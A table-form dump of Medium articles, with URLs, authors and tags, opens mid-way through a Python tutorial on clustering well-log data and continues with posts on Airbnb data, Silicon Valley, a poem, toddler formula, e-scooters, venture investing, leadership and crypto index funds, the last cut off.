Index(['WELL', 'DEPTH_MD', 'X_LOC', 'Y_LOC', 'Z_LOC', 'GROUP', 'FORMATION', 'CALI', 'RSHA', 'RMED', 'RDEP', 'RHOB', 'GR', 'SGR', 'NPHI', 'PEF', 'DTC', 'SP', 'BS', 'ROP', 'DTS', 'DCAL', 'DRHO', 'MUDWEIGHT', 'RMIC', 'ROPA', 'RXO', 'FORCE_2020_LITHOFACIES_LITHOLOGY', 'FORCE_2020_LITHOFACIES_CONFIDENCE'], dtype='object')
We don’t need all of the columns for this example, so we will take a copy of the dataframe with the required logging measurements, including the well name and the depth curve.
We will also rename the FORCE_2020_LITHOFACIES_LITHOLOGY column to something simpler like FACIES .
When we call upon the dataframe we have a much smaller number of columns to work with.
Column Remapping / Renaming
To make things simpler with plotting, and understanding what the lithology numbers supplied with the data mean, we can create two dictionaries and map the FACIES column to two new columns.
The first is creating a dictionary for the string representations of the numbers.
The second dictionary is simplifying the lithology number to range from 1 to 12 instead of the large range of numbers used in the original data. This will help when it comes to making a log plot.
To create new columns in our dataframe, we start with defining the column name workingdf['LITH'] and then we assign the mapped values using the .map() method.
We do this for both the string and simple number representations of the facies.
When we view the dataframe, we can see that we now have our two new columns at the end.
Visualising the Data
As there is already a FACIES column with this data, we can take a quick look to see how the data is distributed across each lithofacies.
To do this we can use Seaborn’s FacetGrid method to plot individual density-neutron crossplots (scatterplots) for each lithology.
The FacetGrid is used to create an underlying structure for the plot. In this example, the FacetGrid has been passed the dataframe we are working with ( workingdf ), the column we want to split the plots up by ( col ) and the point at which we want to wrap to a new row ( col_wrap ). In this instance, once there are 4 columns, then the data will wrap.
We can then map a density neutron crossplot on top of that FacetGrid .
FacetGrid for lithologies within the FORCE 2020 XEEK machine learning data set.
Create Plot Function
Before we plot any data we need to create a few functions. The first is a create plot function, which will take a number of arguments and our facies curve, and will generate a conventional log plot.
Splitting Data by Well Function
The second method we will create will be used to split up our dataframe by wells. This is done using the groupby function, and will allow us to store each dataframe within a list for easy access later.
We can then call upon the function:
This then returns a nice listing of the index positions and the associated well names
index wellname
0 15/9-13
1 15/9-15
2 15/9-17
3 16/1-2
4 16/1-6 A
5 16/10-1
6 16/10-2
7 16/10-3
8 16/10-5
9 16/11-1 ST3
10 16/2-11 A
11 16/2-16
Unsupervised Clustering
In this section, we are going to set up our clustering models and run them on our dataset.
First, we will import our clustering models from the sklearn library.
Finding the Optimum Number of Clusters
To make sure that K-Means and Gaussian Mixture Modelling models are working efficiently we need to provide them with a starting number of clusters. If the number of clusters is incorrectly selected, the algorithms may not perform well or could take longer to resolve (especially if the number is too high).
We can attempt to identify the optimum number of clusters using an elbow plot, where the goal is to select a number for the clusters based on the ‘elbow’ or inflection formed in the results. There are other methods such as the silhouette method for picking the number of clusters.
For this example, we will use the elbow plot. To do this we evaluate the model performance over a given range of clusters, and then from the plot identify the most suitable number.
For clustering to work, we need to remove any missing values. This is achieved using the dropna() function.
We can then use the describe() function to make sure our data is still good after the missing data values have been removed. In this example, we have gone from 133,198 to 82,732 depth levels.
To keep our model simple we will work with four logging measurements (columns): Gamma Ray (GR), Bulk Density (RHOB), Neutron Porosity (NPHI), and Acoustic Compressional Slowness (DTC).
Elbow plot for selecting the optimum number of clusters (Image by Author)
In the plot above, we can see that the inertia (sum of the squared distances to the nearest cluster center) decreases as we increase the number of clusters. There is no clear defined break within this dataset, however, we can see that the slope changes from about 5 clusters onwards. The picking of this value will be dependent on the interpreter and could range from 4 to 10.
So for this example we will take 5 as the optimum number of clusters.
Fitting the Clustering Models
To make the comparison simple, we will use the same number of clusters in the Gaussian Mixture Model. For this model the number of clusters parameter is known as n_components.
Plotting the Results
Now that the clusters have been computed using KMeans and GMM methods, we can plot the data to see how well the predicted in relation to the labeled lithologies. Note that these methods are unsupervised and do not use the labeled data for training. We are comparing here how well unsupervised methods perform with well log data.
As we predicted into the main workingdf dataframe, we need to split the data up again into individual wells. We can do this by calling upon the simple function created earlier.
index wellname
0 15/9-13
1 15/9-15
2 15/9-17
3 16/1-6 A
4 16/10-1
5 16/10-2
6 16/10-3
7 16/10-5
8 16/2-11 A
9 16/2-16
The first plot we will look at is the logplot. We will pass in the original lithofacies (LITH_SI) column and the newly computed KMeans and GMM results.
Well log plot generated in Python showing the different unsupervised learning clustering methods (Image by Author)
In the plot above we have the original Lithology and our computed KMeans and GMM cluster results in the last three subplots.
The first thing to note is that the colours do not necessarily mean the data is from the same group across each method. There are ways to map these so that the colouring is consistent, but for the purposes of this tutorial, we will not go into this.
Looking at well 16/10–1 (index 4), we have 10 separate facies/groups displayed and we can see that these mostly tie-up with the changes in the logging measurements. For example the decrease in Gamma Ray (GR) from around 2300m to around 2775m ties in nicely with the blue and light blue grouping. In the KMeans and GMM models, this section has also been highlighted as being in the same cluster in both methods, however, there is no variation in this section. As both of these methods were set to a max of 5 clusters, we will not be able to capture the same degree of variation.
To resolve this, we could increase the number of clusters.
Viewing Results on Scatterplots / Crossplots
Another way to view the performance of the clustering is through scatter plots. We can do this using the common density-neutron scatterplots / crossplots and using matplotlib.
Crossplots of unsupervised learning results compared with the supplied lithology (Image by Author)
Even though there is mixing of the clusters in each method, the interval that was discussed in the log plot section can be identified in the lower left of the plot, where we have higher density values and lower neutron porosity values.
In the KMeans grouping, this cluster shows as one complete cluster, however, in the GMM method we can see it matches closer to the supplied lithology.
Viewing Results on a Pairplot
As we used four input curves for our model, we should look at all of these to see how the clusters vary. The best way to do this is to use the excellent pairplot from the seaborn library. This plot displays the relationships between the data in the dataset on a grid. This allows a quick and easy way to identify and visualise the data. Along the diagonal, the distribution of the data split by cluster is also plotted.
As we are looking at well number 4 we need to pass in that dataframe to the pairplot (dfs_wells[4]).
PairPlot illustrating the various clusters for each input measurement (Image by Author)
PairPlot illustrating the various clusters for each input measurement (Image by Author)
This provides us a much nicer plot to look at and also allows us to see how the data is clustered in the other logging curves. We can see that the GMM model provides some improvement in defining the clusters, especially in the DTC vs RHOB plot.
Summary
In this article, we have covered the basics for carrying out unsupervised cluster analysis using two popular algorithms — KMeans Clustering and Gaussian Mixture Modelling. Using an optimisation method we have determined, by eye, that the optimum number of clusters was five, however, it is worth experimenting with more clusters to see if this provides a better match.
Once the clustering was complete, we saw multiple ways to visualise the results: a standard log plot setup, scatter plots, and seaborn’s pairplot.
As K-Means clustering utilises spherical clusters, it may not always be appropriate to well log data and the subsurface. However, Gaussian Mixture Modelling does appear to provide a slight improvement in clustering.
Thanks for reading!
If you have found this article useful, please feel free to check out my other articles looking at various aspects of Python and well log data. You can also find my code used in this article and others at GitHub.
If you want to get in touch you can find me on LinkedIn or at my website.
Interested in learning more about python and well log data or petrophysics? Follow me on Medium.
If you have enjoyed this article or any others and want to show your appreciation you are welcome to Buy Me a Coffee
References
Bormann, Peter, Aursand, Peder, Dilib, Fahad, Manral, Surrender, & Dischington, Peter. (2020). FORCE 2020 Well well log and lithofacies dataset for machine learning competition [Data set]. Zenodo. http://doi.org/10.5281/zenodo.4351156
The Most Comprehensive Guide to K-Means Clustering You’ll Ever Need https://www.analyticsvidhya.com/blog/2019/08/comprehensive-guide-k-means-clustering/ | https://towardsdatascience.com/how-to-use-unsupervised-learning-to-cluster-well-log-data-using-python-a552713748b5 | ['Andy Mcdonald'] | 2021-06-03 17:23:01.717000+00:00 | ['Machine Learning', 'Well Logs', 'Petrophysics', 'Cluster Analysis', 'Unsupervised Learning'] |
Exploring AirBnb Listings Data for Manchester, UK. | Before we can answer the questions
To answer questions on the data we need to perform analysis, however before this can be done effectively, the data needs to be wrangled, meaning cleaning for appropriate use.
To do this the Pandas library has a series of function that help identify issues with the data such empty or null values. Luckly the Manchester AirBnb data was fairly clean, but it did include issues such as Null values that had to be addressed.
Data Wrangling Approach for Missing Data:
Despite there being a fairly significant amount of null values in [reviews_per_month] column, this did not effect analysis for Q1 & Q3, so for these questions I left the data as it was.
For Q2 the[reviews_per_month] column was critical, so I had to figure out how to handle these Nulls; remove the rows, or impute the values (fill empty values with mean). To come to a decision more investigation was needed. When I filtered the dataframe for the Nulls (NaN) I noticed that the adjacent column [number_of_reviews] all had zeros. This indicates that these listings likely have never had review, explaing when the reviews per month were Null. Given this, it would be inappropriate to impute made up values where in reality there have never been values. Also I felt there would be enough remaining rows to understand any meaningful trends. | https://medium.com/@mallewis16-ml/exploring-airbnb-listings-data-for-manchester-uk-c17c9dd1a25e | ['Andrew Lewis'] | 2020-12-16 19:24:17.387000+00:00 | ['Analysis', 'Data Science', 'Udacity'] |
I enjoy your stories, but I would enjoy them more if your language were more respectful of the people in your stories. I’m sure you mean no disrespect, so please take a moment to learn more about… | I enjoy your stories, but I would enjoy them more if your language were more respectful of the people in your stories.
I’m sure you mean no disrespect, so please take a moment to learn more about trans terminology. The article contains a list of outdated, inaccurate, and offensive terms (with explanation) along with an informative list of terms to use instead.
Please update your stories with improved terminology, or risk alienating everyone in the LGBTQIA+ community who might otherwise support your work.
https://www.plannedparenthood.org/learn/gender-identity/transgender/transgender-identity-terms-and-labels | https://medium.com/@aprilhamm/i-enjoy-your-stories-but-i-would-enjoy-them-more-if-your-language-were-more-respectful-of-the-d4ad62a2f2ef | ['April M. Hamm', 'She They'] | 2020-11-24 22:40:13.236000+00:00 | ['LGBTQ', 'Writing Tips', 'Gender Identity', 'Gender', 'Transgender'] |
Is Silicon Valley’s Time in the Sun Over? | Silicon Valley, the home of tech giants Facebook, Apple, Google, and more, located in San Francisco’s southern Bay Area, is undergoing a change from which it may never recover.
In August, the Wall Street Journal did a deep dive on the mass exodus of employees from Silicon Valley. With the global pandemic forcing employees to work from home and San Francisco hit particularly hard with government-enforced shutdowns, companies gave their workforce permission to skip on the area’s crazy-high cost of living and work from other places in the country.
Facebook and Google allowed employees to move away through the summer of 2021, allowing them to sign one-year leases elsewhere, before returning to their California HQs. This benefitted cities all over the country including Phoenix, Las Vegas, and Austin.
The Silicon Valley exodus is just a small piece of the pie, though: California as a whole is losing net residents on an annual basis. Political mismanagement has given upper-middle-class citizens, which most if not all Silicon Valley workers would fall into, plenty of justification to leave.
Per the prior-linked WSJ story, 40% of Facebook’s staff said it would be interested in permanent remote work in a May 2020 survey. Hired, a job search marketplace, conducted its own survey of 371 Silicon Valley workers. If asked by their employers to work remotely full-time, 42% would move to a less expensive city.
These numbers speak volumes — a good chunk of tech workers are living in the Bay Area because they have to, not because they want to.
This brings up an interesting question: if tech workers want to leave the state, why shouldn’t their employers come with them?
Well, some of them are.
Oracle recently announced it was moving from Redwood Shores, California to Austin, Texas. Hewlett Packard Enterprise, a spinoff of Hewlett-Packard, announced a move from San Jose, California to Spring, Texas — just outside of Houston.
HP’s founders, Bill Hewlett and David Packard, are credited with beginning the creation of Silicon Valley while working on their company in Palo Alto.
Tesla and SpaceX founder Elon Musk as well as Dropbox CEO Drew Houston have recently announced that they are personally moving from Cali to Austin — perhaps paving the way for their companies in the future.
According to census data, 12.5% of those that left California in 2019 went to Texas, which is more than any other state. Why are all of these companies and executives choosing Texas, though?
Texas politicians have been trying to woo California-based companies for years now, using no state income tax and lower costs of living as a bargaining chip. With remote work proving to work and workers wanting out of California, we may see a continued Silicon Valley exodus even after the coronavirus is under control.
Texas isn’t the only beneficiary, though.
While the vast majority of venture capitalists are located in California, New York, and Boston, some are trying to buck that trend. Some cities are giving themselves their own monikers to try to attract companies: Denver/Boulder, Colorado is “Silicon Mountain,” Dallas/Austin, Texas is “Silicon Praire,” Atlanta, Georgia is “Silicon Peach,” and Salt Lake City, Utah is “Silicon Slopes.”
Some of the more popular destinations, like Austin, may eventually hold the majority of tech companies if this trend out of the Bay Area continues. With remote work proving to be successful, though, companies may turn to a variety of different cities. There are plenty of other cities around the country offering a relatively low cost of living and plenty outside-of-work fun to attract companies and their employees.
Either way, Silicon Valley is slowly crumbling before our eyes. It may never completely go away, but it is hard to imagine it being regarded as the “tech hub of the world” for much longer. | https://medium.com/swlh/is-silicon-valleys-time-in-the-sun-over-677467b18681 | ['Dylan Hughes'] | 2020-12-16 23:58:08.412000+00:00 | ['Investing', 'Business', 'Technology', 'Economics', 'Silicon Valley'] |
Acceptance — A Hidden Spiritual Secret | What would happen,
if water resisted evaporating
fearful of its dying
Transforming in the unknown vapor state
Remain as it is, where it is
With no flow to the ocean
stagnating with resistance
What if the clouds become adamant
‘No, we will not drain the accumulation
Which we collected after so many months’
Taking their load everywhere they float
With heavy density, putrefying the sky
What if rivers made a resolute
‘They have polluted my every tributary
No water will flow down the hill
Swell if I may,
burst open come what may’
But Nature is acceptable to change
even if it means converting various life forms
Yet man is so stubborn
Resisting every phase of life
Believing it his birthright
Ignorant that change can transform
Opportunity to give birth
to a new self in each moment
Relieving the densities
dropping all the expectations
Acceptance is difficult
even if we remain true
Why you ask?
Because of my experiments with the truth
Accepting the ugly within
The suppressed anxieties and fear
The lifetime burden of expectations
From society, from family, from self
I tried to bare all
The more I dug, the more pain I got
The heart cramped in pain
As I resisted and went through its each layer
The fear gripped me
When foul emotions erupted
Volcano of anger and frustrations
Ashes of hatred and disappointments
I cried, I wept,
I prayed, I left
But for how long can I run?
If I need THE truth, it is the only path
Saints have named it as penance
To be free, to be authentic me
There is no other way
but allow me to die a little
Each time when it happened
The universe supported me
with a loving guide
He held my hand
when I was drowning within my tears
Making the path illuminated
When I blamed everyone
It was me and my beliefs,
My mind’s story scattered everywhere
When the path to me is through me
The destination is me
The route is me
Everywhere I meet is just me
Rendezvousing the suppressed
and ignored version of me
All is me, what I can see
The fallacy has to fall
The deception will drop
It is the only Truth
If I resist it is all my fault
Fault?! — Oh yes,
It needs acceptance, too
Accepting the ugly and the beautiful alike
After all, it is the mind’s make up
on every little thing of life
Life is flowing as it is
with no judgments
it births, it kills
Letting the old die,
Renewing each moment
letting go of past
even if it was one second back
Acceptance is the life-changing mantra
only to those
who yearn for the truth
The old me dies as I accept
‘Me’ which is here
I may not even recognize
Being aware even for anxieties
and heavy emotions
Tie a knot around it
Keep pulling it out
Till it is released in the light of consciousness.
The complexity left behind far
When I woke up from the matrix of thoughts
Realizing I am not my opinions
This vast shapeless awareness
Pulsating and expanding all around
Now, what to designate as me
Who is left behind
All you and I can see is this body
But I don't know where to point. | https://medium.com/spiritual-secrets/acceptance-a-hidden-spiritual-secret-de5cbf9d45d9 | ['Ruchi Thalwal'] | 2020-10-05 16:37:29.712000+00:00 | ['Spirituality', 'Poetry', 'Life', 'Dark Night Of The Soul', 'Acceptance'] |
WHEN DADDY IS ON DUTY | Justin chiming in here today. It’s always a fun time when I get to be “on duty” and give a break for Olya to take an afternoon off. The kids and I love getting outside and sometimes we just do something as simple as blowing bubbles in the park, but you know, it’s those simple fun memories that seem to stick the most over the years.
Lately, the kids have loved to film what they are doing, and It’s probably the funniest thing to see what Evyianne and Elia will come up with when they are filming. Elia, though, is just the best! Keep an eye out for her in the video below.
One thing that I like to bring when we go out are some foods for kids to snack on, and for Elisey we always bring a bottle ready to mix up some formula. He is almost 2 now, which is crazy to think of how fast the time has passed. He still breastfeeds a bit, but it is mostly just for some bonding time with Olya, so we have been making sure that he gets the essential nutrients he needs on top of the solid foods he eats.
About a year ago, we discovered Kabrita Goat’s Milk formula, and it was an important addition because Elisey had a mild sensitivity to dairy when we started solids for him. It turns out that it was related to the cow’s milk proteins, and the goat’s milk formula that Kabrita makes worked because it is easier to digest for growing babies and toddlers.
Kabrita’s goal has been to provide a formula that is easy to digest, nutrient dense, with a gut-friendly prebiotic. You can visit their site here to see a breakdown of the nutrition in Kabrita compared to 7 other kinds of milk.**
**Kabrita Goat Milk Formula is not suitable for children with cow milk protein allergy (CMPA).
We do not recommend Kabrita Goat Milk Toddler Formula as sole source nutrition for either infants or toddlers. Please contact your primary healthcare provider to discuss your child’s nutritional requirements and the available feeding options.
As a dad, I love the ease of preparing formula for Elisey either on-the-go or at home, and I know that he is getting the additional nutrients to support his growth.
How about you guys? Do you supplement with formula? What formulas have you tried and loved? If you haven’t already, Kabrita is offering a free trial of their formula so that you can try it yourself. Just go here to get the details.
Justin Hill
If you would like to read more articles about parenting and kids, style, and beauty, career, and success follow the link below:
https://living-notes.com/ | https://medium.com/@obor/when-daddy-is-on-duty-49c5edde294f | ['Olya Hill'] | 2019-09-01 02:54:26.456000+00:00 | ['Health', 'Baby Products', 'Baby Formula', 'Family', 'Nutrition'] |
E-scooters Market Size Worth $41.98 Billion By 2030 | The global electric scooters market size is expected to reach USD 41.98 billion by 2030 at a CAGR of 7.7% over the forecast period, according to a study conducted by Grand View Research, Inc. Increasing adoption of e-scooters among the young population, the rising purchasing power of the middle-class community in developing countries, and rapid urbanization are expected to significantly drive product demand across the globe. Electric scooters offer affordable last-mile transportation as compared to on-demand transportation. Agility and ease of maneuver in densely populated areas with high traffic congestion are additional advantages these vehicles offer, which is expected to fuel E-scooters’ market growth.
Consumer satisfaction is another essential factor for vendors trying to retain existing customers or looking to expand their customer base. It can be measured using various parameters such as durability, maintenance expense, performance, comfort and safety, and operating cost. Vendors are trying to focus on two critical factors to attract customers: design/style and specifications. In May 2019, Pure EV launched two electric scooters for the Indian market, EPLUTO, and ETRANCE, with the long-range of 120kms per charge. The ETRANCE scooter has a ground to handle height of about 3.5ft and weighs around 47kgs. These specifications were specifically designed with the women population in the country.
The year 2018 witnessed the introduction of various battery-operated two-wheelers, for instance, Vespa Electrica by Piaggio & C. SPA. The following year was highly promising for most electric scooter vendors owing to the various strategies adopted by them to expand their fleet to international markets. Besides this, well-established two-wheeler companies launched their electric scooters and invested in the installation of charging systems and infrastructure across various countries. For instance, Gogoro, Inc., and KYMCO expanded their reach in other regions to capture the benefit of the untapped market. GenZe By Mahindra, YAMAHA Motor Pvt. Ltd., VÄSSLA ELECTRIC SCOOTERS., and PURE EV are among other players that integrated swappable battery systems in their electric scooter variants. Moreover, the governments in several Asian and European countries have been offering subsidies to drive the sale of battery-powered two-wheelers. These initiatives are anticipated to become more robust with increasing gasoline prices.
The Asia Pacific dominated the global market in 2019 and is predicted to continue its dominance over the forecast period. The growth in the region is accredited to the presence of an increasing number of e-scooter manufacturers and rising vehicle charging infrastructural investments in countries such as Taiwan, India, and China. In 2019, China acquired over 84% of the revenue in the Asia Pacific market. North America is poised to grow at a considerable pace from 2020 to 2030. The growth in the region is owing to the faster adoption of electric vehicles in the U.S. as an alternative to traditional fuel transportation.
Click the link below:
https://www.grandviewresearch.com/industry-analysis/electric-scooters-market
Further key findings from the report suggest: | https://medium.com/@marketnewsreports/e-scooters-market-e20f9cee8d8 | ['Gaurav Shah'] | 2021-01-21 14:31:03.243000+00:00 | ['Electric Scooters', 'Mexico', 'Transportation', 'Big Data', 'Automotive'] |
What Sterling Road looks for in a Startup | Founders often report being frustrated by the vague criteria VCs claim to use when deciding on whether or not to invest in their startup. Investment criteria goes beyond the investment process, which we made public for Sterling Road in 2018. However, what we’re actually looking for during our process has not been previously made public. Below, we have outlined our investment criteria in detail:
Initial Filter
Most connections we make with founders are done via email, [email protected], either by introduction or direct outreach (LinkedIn is not a good way to reach out due to the spam). This initial filtering prevents wasted meetings, where the answer would be a quick “no”.
Location: We only invest in startups based in the US or Canada at present. However, this means that if you are based in Europe now but plan to launch in the US and focus on US-based customers, we may be able to work together in the future.
Solo-founder: Given the burden of building and leading a company is usually too much for one person alone, we don’t work with solo-founders.
Customer Type: We’re solely focused on B2B businesses — this is our area expertise. If you are a B2C company, there are plenty of other VCs who will be a better fit to help you distribute to consumers.
Sector: Although we do not have a specific sector focus, we tend to lean towards businesses with big markets, at least $5Bn in the US. We also tend to avoid businesses in certain sectors such as education, politics, and frontier tech, e.g. 2+ years of research & development before the product is live is not a fit for us.
Timeline: Your fundraising round’s timeline needs to fit with our 3 month process.
Terms: As a pre-seed investor, the maximum valuation we can accept is a $6M cap (ideally post-money for clarity); and given how early we invest, we also want the rights to increase our stake in the next round, up to 5%.
Tech Advantage: Usually, we’re looking for the company to have, or be building out, a clear advantage on technology that will be hard for others to replicate. We also like legacy industries with minimal technology usage, where any software might be a defensible advantage. For example, we invested in i-5O which has developed unique AI and Brainbase, which targets the antiquated intellectual property market.
First Meeting
During our first meeting, the goal is for both sides to understand whether it’s worth investing more time in the relationship.
Strong Team: This is the most important factor. Ideally, the team has deep expertise in their chosen field or experience as entrepreneurs in general. If not, we’re looking to quickly understand what makes you uniquely capable of building a big business in this market. For example, Pico operates in the highly competitive publishing industry but one of the founders is a bestselling author.
Willing to Engage: We take a direct approach when it comes to feedback and usually have lots of questions about a business. Most founders love this style of meeting but it’s not for everybody and that will usually become apparent in our first interactions. We’re never offended if our approach doesn’t work for you and your startup; everyone is different.
Demonstration of Demand: Ideally, the founders will have evidence that their product is both desperately needed and unique. Perhaps the best way to show this, is early traction, e.g. 5 beta users with 3 using it daily, and 15 on the waitlist.
Investment Decision
After 3 months of working together, an investment decision is made.
Coachability: Being responsive to feedback is an essential part of leading a startup to IPO. We don’t have to agree on how to resolve each situation but you must demonstrate a willingness to listen and learn from someone, such as another advisor.
Reasoning: Rapid and high quality decision making is incredibly difficult and most founders are asked to make hard choices every week. We like to see founders break down difficult decisions to their most important components, adapt when wrong but hold firm when their plan faces expected obstacles. For example, if you set monthly goals with your team, you should have a good reason, and consensus, to throw them out after 3 days.
Resilience: Building a startup is a tumultuous roller coaster that will test even the strongest of wills. Seeing a founder handle one of the many early crises they will inevitably encounter, is a great indicator of their ability to handle similar problems as the company scales. In the early days, this characteristic often manifests as a willingness to get things done, even if sometimes tasks are boring, time consuming or emotionally difficult (e.g. laying people off).
Live with a Customer: You don’t need revenue or bookings for us to invest but your MVP should be live with at least one customer, and in use, before we invest. This both demonstrates demand (see above) and shows you can drive a customer through a basic sales funnel successfully.
Investment Committee: We ask a 3-person investment committee (all Limited Partners) for feedback on each investment. Although the committee tends to agree with my decision, they often have good questions about the market, competition and team. | https://medium.com/@ashrust/what-sterling-road-looks-for-in-a-startup-26dbf8912f24 | ['Ash Rust'] | 2020-12-23 00:48:42.278000+00:00 | ['Fundraising', 'Entrepreneurship', 'Startup', 'Venture Capital'] |
The Boundaries You Need To Filter Input | There are a few sure things in life.
My daughter is never going to drop her favorite doll, but if she’s holding my iPhone it’ll drop from the highest point in our house.
When I’m craving ice cream after 7:00 pm, the Mcdonald’s ice cream machine will be “broken.”
But more to the point of this article, when I’m working on a project at work, there will be people who think they have more input in the situation than I am willing to give them. People will assume that they have a certain level of input or influence when in reality they are overstepping.
Just because someone has a way to express their opinion on your performance at work does not mean they get the space in your thoughts.
But how do you categorize the level of input someone gets? How do you put boundaries up that firmly and identify where someone is allowed to be and where they are not?
To put some parameters on this, our team uses some internal language to help gauge how involved or influential a person can be in a particular situation. These categories are fluid. Someone may be at a VOTE level in one part of your life and a VIEW level at another. Other times, a person may start with a VAPOR level of involvement, and as the project develops could end up having a VOICE.
Ultimately, the goal of these six categories is to help you put some healthy boundaries in place to filter out the noise and factor in what matters.
It should probably be noted, these are internal terms. We don’t go to people and say, “Thanks for your input, but you’re on a voicemail level with this.” In a second, you’ll understand how that could be a little hurtful.
Before we unpack the levels, it’s helpful to know they exist within two different spaces. There are Non-change levels and change levels. The first three levels are NONCHANGE LEVELS. These have no bearing on the outcome of the situation. They can throw the biggest fit they want and nothing is going to flinch.
The last three are CHANGE LEVELS. When someone has this type of influence or input, things can (and sometimes must) change based on his or her input.
So here they are, the six levels of input and influence.
1. VAPOR
When someone has a VAPOR level of input, the project may as well not exist in their world. This person doesn’t need any details, and if they want to have input into the project, they don’t have a right to anything. This may be for confidentiality, efficiency, or even practicality.
When someone from another team asks me for details on something my overseer and I are working on, they’re not in a place where they need any involvement. They’re at the VAPOR level. I don’t share anything with them. “I’m sorry, but that’s not something I”m going to get into.”
2. VIEW
This is when someone can see behind the curtain, as it were, but don’t have any real input in the situation. When you’re heading to a meeting and you know you have the freedom to invite someone, you could bring someone into the meeting just so they see, but they don’t have the right to speak into the meeting.
Many times, our interns exist at a VIEW level. We want to expose them to the inner workings of our organization, but a lot of times it wouldn’t be appropriate for them to interject. They’re at a VIEW level, they know it, and they get the chance to soak up as much information as possible.
People with a VIEW level may feel the freedom to speak into something, but that’s not their role at this point. You want them informed, but you don’t need their input.
3. VOICEMAIL
The VOICEMAIL category is for someone who has been given a little bit of space to speak into something, but still not at a change level. Their input isn’t necessarily going to dictate the direction of something, but they do have the right to give input.
They are invited to “leave a message about this” for you to hear, think about, and decide whether or not to even reply. On my team, we lead hundreds and hundreds of families with teenagers. Many parents live in a VOICEMAIL category. it wouldn’t be right to ignore them, but they don’t have the understanding or perspective to have a formative or change level influence into decisions we make. They have my number, they are welcome to call with feedback, but it sits at a VOICEMAIL level.
Note: VOICEMAIL level does not mean they don’t have a right to speak to me. It’s just a helpful paradigm for thinking about how to filter their input.
4. VOICE
Now we are to CHANGE LEVELS. When someone has a VOICE in a situation or a project, they know they have the freedom to speak their mind and give feedback to a situation. They don’t get to determine the outcome, but you’ve decided that their input is helpful enough that you seek it out, and they are free to share it.
VOICE level of input is common on teams when the leader makes the final decision, but wants each team member to be able to be involved in forming the decision. Ultimately, the team leader is going to make the decision, but everyone on the team has a right to be heard.
5. VOTE
People with a VOTE level get to speak into the final decision. They may not be able to make a unilateral decision, but you’ve given these people enough influence in the decision that you are no longer the sole vote.
Task teams commonly have VOTE level inputs, where everyone involved has a right not only to speak into the decision but to be a part of making it.
In my situation, most of my hiring decisions are made with my overseer having a VOTE. He trusts me to make the right decision, and would never override my choices…but I have and will continue to give him a VOTE level of input because I value his discernment and his perspective of my hires. He doesn’t get the final say, but he has more weight than simply offering decisions.
6. VERDICT
The final call. A person with a VERDICT level of influence can make the decision and run with it. If you’re delegating responsibility, if you delegate at a VERDICT level, you’ve removed yourself from the decision making…that person can go do whatever they need to do. Obviously, as a boss, you can remove that level of freedom, but they don’t have to come to you with everything they want to do. They have VERDICT powers.
Earlier, we mentioned teams that have a VOICE in a decision, but the team leader is going to make the final decision. In that situation, the team has a VOICE and the leader has the VERDICT.
There are times your boss will come to you and tell you what you need to do in a situation. It’s usually pretty clear when it’s their call. You take your marching orders and run with them to the best of your ability.
On a personal level, my wife has a VERDICT influence on everything I do. When I’m asked to speak at a camp, she has a verdict level. We look at the calendar, pray, and evaluate the situation. If she doesn’t feel comfortable with me being gone for that week, I trust her intuition and discernment…and that trust is vital. When you give VERDICT freedom to people in your life (in or out of work), they need to be people either in charge of you, or people you implicitly trust. I fully trust my wife to have my best interest, and the best interest of my family, in her mind. As a result, I don’t have any issue with her having VERDICT influence in things like that.
SUMMARY
NON CHANGE LEVELS
Vapor View Voicemail
CHANGE LEVELS
4. Voice
5. Vote
6. Verdict
Let’s Connect
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Want to learn about how to grow in your leadership capacity? Check out my Leadership Masterclass. | https://medium.com/the-leadership-journal/the-boundaries-you-need-to-filter-input-efe3c06040a7 | ['Austin Walker'] | 2020-05-07 13:31:23.854000+00:00 | ['Management', 'Business', 'Work', 'Teamwork', 'Leadership'] |
Index Coop — The Why, What & How. | When it comes to crypto, there is nothing but a fine line between value investing and speculating. Especially like the market situation we are in now where random projects are pumping or dumping fueled by hypes & trends.
Not all of us have the time or the expertise to #DYOR on every new project. But we can’t also just go around parking our money in the random 100x meme token your favorite social media influencer shilled to you. That would be a disaster.
We the people are in need of a solid product, that helps users invest in good projects in this space and do that so, in a systemic and user-friendly manner. Such products are brought to you by Index Coop — The #1 Crypto Index Fund Manager.
what is an index fund?
Index funds are financial instruments that track the performance of an index/bucket of assets rather than a single asset. The advantage of investing in a bucket of assets rather than a few selective assets is healthy diversification. “don’t put all your eggs in one basket”, they say.
Index funds come with a huge potential to risk aversion. even if few assets in the basket perform badly or even go under, the investor of the index will relatively be in a safer position as his gains from other assets in the basket balanced the losses from underperforming assets.
Even though it diminishes returns to an extent, we can’t argue against the fact that such projects are even more necessary in the wild west crypto market than in traditional markets, Because in crypto there are hundreds of choices, dramatic price swings, and a market that never sleeps.
What is index coop?
Index Coop builds simple yet powerful index products to help you access crypto investment themes.
Their mission is to create a better way for people to join the crypto revolution. They are trying to do what traditional index funds helped retails investors to achieve, to grow their wealth in a stable way.
Index Coop has theme-based crypto index products, so the user has more freedom in choosing which type of asset their investment will be tracking, given that there are too many assets in crypto and it is hard to put them in one category.
Let me shill you some of their products!
Defi Pulse Index (DPI)
The Defi pulse index (DPI) tracks the performance of the top Defi project’s tokens. A single DPI token tracks the performance of all these Defi projects based on the weightage given to each project. The weightage depends on the circulating supply of each token.
Currently, these are tokens tracked under DPI.
The tracked assets are well picked that they have to have some predefined characteristics for them to be tracked in Defi Pulse Index.
The Token must be an ERC-20 Standard.
It should be related to Dapps listed on Defi Pulse.
The token must be decentralized enough so that it won’t be defined as a security.
Wrapped tokens, Tokenized derivatives, and Synthetic assets will not be considered for the index
Along with that the projects circulating supply, potential use cases, adoption, demand, age, and such metrics are verified before adding it to DPI.
DPI is an amazing choice for people who wants to get exposure to the growth potential that Defi applications create. Imagine buying into DPI before the Defi Summer of 2020.
Metaverse Index (MVI)
The Metaverse Index (MVI) tracks the performance of top metaverse projects. A single MVI token tracks the performance of all these Metaverse projects based on the weightage given to each project. Here weightage is determined by the market cap and liquidity of the token.
Currently, these are tokens tracked under MVI.
The tracked assets are well picked that they have to have some predefined characteristics for them to be tracked in Metaverse Index.
The token must be an ERC-20 Standard.
The project should be listed in coingecko in any of these categories — Non-Fungible Tokens, Entertainment, Virtual Reality, Augmented Reality, and Music.
The protocol must have at least 3 months history of operation and the token must have at least 3 months of price and liquidity history (must also have considerable Ethereum DEX liquidity).
Along with that, the project’s security audit will be considered before including it into MVI.
MVI is the go-to product to get exposure to the growth potential created by the new metaverse craze in the market (MVI did a 10x run from the lowest point this year, after the metaverse craze started by Facebook rebranding itself Meta).
Bankless BED Index
